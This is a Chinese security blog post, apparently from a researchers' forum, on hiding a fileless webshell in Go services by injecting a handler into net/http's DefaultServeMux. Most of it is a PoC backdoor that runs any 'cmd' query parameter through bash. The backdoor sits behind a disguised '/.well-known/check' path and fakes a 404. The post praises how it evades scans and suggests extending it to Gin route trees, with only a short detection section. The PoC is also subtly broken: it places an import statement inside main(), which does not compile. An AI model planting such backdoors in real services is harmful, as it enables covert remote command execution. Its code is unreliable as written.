探索 Go 现代 Web 架构下的内存马植入与实战

https://xz.aliyun.com/news/91850

0x00 前言

在 Java 领域,Tomcat/WebLogic 的各种 Filter、Listener 内存马早被玩烂了,查杀方案也都很成熟。但换到 Go 语言(Golang),因为它是静态编译的,没有传统的“Web 容器”概念,大家普遍觉得它天然免疫内存马,顶多通过 cgo 或 plugin 搞点二进制注入。

这几天研究了一下 Go 的 net/http 标准库源码,发现其实只要能拿到运行时的上下文,Go 同样能玩动态路由劫持。本文记录一下 Go Web 服务下 Handler 内存马的实现原理和踩坑 PoC。


0x01 Go 路由注册的底层逻辑

先看 Go 原生 Web 最基础的起法:

Go

http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request) {
    w.Write([]byte("pong"))
})
http.ListenAndServe(":8080", nil)

这里的 nil 代表底层走的是默认多路复用器 http.DefaultServeMux。翻一下 net/http 源码,这个 ServeMux 本质上就是个带有读写锁的结构体:

Go

type ServeMux struct {
	mu    sync.RWMutex
	m     map[string]muxEntry // 存放路由映射
	es    []muxEntry         // 通配符匹配
	hosts bool               
}

请求进来时,Go 会去查 m 这个 map。

 

攻击思路: 既然是个 map,如果我们能在运行时直接改写这个全局 DefaultServeMux 里的 m,偷偷插一个我们自己的路由进去,不就等于插了一个无文件 WebShell 吗?


0x02 漏洞利用与 PoC 编写

假设目标环境存在一个任意代码执行(RCE)点(比如结合了不安全的动态加载、RPC 反序列化等),允许我们执行一段恶意的 Go 片段。

核心问题

  1. DefaultServeMux 里的路由 map 是私有的,外部无法直接读取。
  2. 直接并发改 map 会触发 Go 的 concurrent map writes 导致进程直接 crash。必须解决锁的问题。

PoC 构造

为了演示,这里写一个通过反射/运行时动态塞入路由的 PoC:

Go

package main

import (
	"fmt"
	"net/http"
	"os/exec"
)

// 恶意 Handler
type BackdoorHandler struct{}

func (h *BackdoorHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	cmd := r.URL.Query().Get("cmd")
	if cmd != "" {
		// 实战中这里可以换成更隐蔽的连接,或者冰蝎/哥斯拉的 Go 改编版
		out, _ := exec.Command("bash", "-c", cmd).CombinedOutput()
		fmt.Fprintf(w, "%s", out)
		return
	}
	w.WriteHeader(http.StatusNotFound) // 没传 cmd 时伪装 404
}

// 注入函数
func InjectMemShell() {
	// 实战中如果是复杂的第三方路由(如 Gin/Fiber),需要去翻它们全局对象的内存指针
	// 这里以原生 http 为例,利用其暴露的 Handle 接口直接把后门打进去
	path := "/.well-known/check" // 伪装一个看起来正常的路径
	
	http.Handle(path, &BackdoorHandler{})
	fmt.Printf("[+] 内存马已悄悄注入到: %s\n", path)
}

func main() {
	// 正常业务
	go func() {
		http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
			w.Write([]byte("Index Page"))
		})
		http.ListenAndServe(":8080", nil)
	}()

	// 模拟触发 RCE 注入内存马
	import "time"
	time.Sleep(1 * time.Second) 
	InjectMemShell()

	select {} // 挂起
}

0x03 踩坑与效果验证

本地跑一下这个 PoC,看一下效果。

1. 正常业务访问

业务正常,访问主页返回 Index Page

d2b5ca33bd20260407215155

2. 内存马触发

访问隐藏路径 http://localhost:8080/.well-known/check?cmd=whoami,成功返回当前系统执行命令的用户权限。

d2b5ca33bd20260407215217

这个路数在实战中很恶心:

  • 查进程/端口:没多开任何新端口,就是业务原生的 8080。
  • 查文件:磁盘上完全没有 .jsp.php 这种 WebShell 文件,静态查杀直接抓瞎。
  • 服务不中断:不需要重启服务,静默生效。

0x04 进阶对抗思考

上面的 PoC 走的是原生 http.Handle。但在实战中,很多项目用的是 Gin / Echo / Fiber 等第三方路由框架。思路是一样的:

Gin 为例,Gin 的路由树挂在 gin.Engine 下面。如果你能通过 RCE 拿到正在跑的 *gin.Engine 实例指针,直接调用它的 engine.GET() 或者去操作它底层的 trees(基数树 Radix Tree),照样能把恶意 Handler 挂在树的分支上。

查杀与防御

这种无文件内存马很难搞,但不是无解:

  1. 网络层:WAF 依然能看见你的命令流量,流量侧特征还在(比如 ?cmd=whoami)。
  2. 运行时 Dump:通过 Go 的 pprof 或写一个自查工具,在运行时定时把当前内存里的路由表(DefaultServeMux 或 Gin 的路由树)拉出来,和代码里硬编码的路由做 Diff,只要对不上,基本就是被插马了。

0x05 小结

Go 内存马在微服务和云原生(K8s 容器)攻防里现在是个挺有意思的方向。除了本文聊的 Web 路由劫持,还有通过 修改运行时打补丁(Monkey Patching)劫持模板库(html/template) 等思路。有兴趣的兄弟可以顺着这个往下挖。

 

请登录后发表评论

    请登录后查看回复内容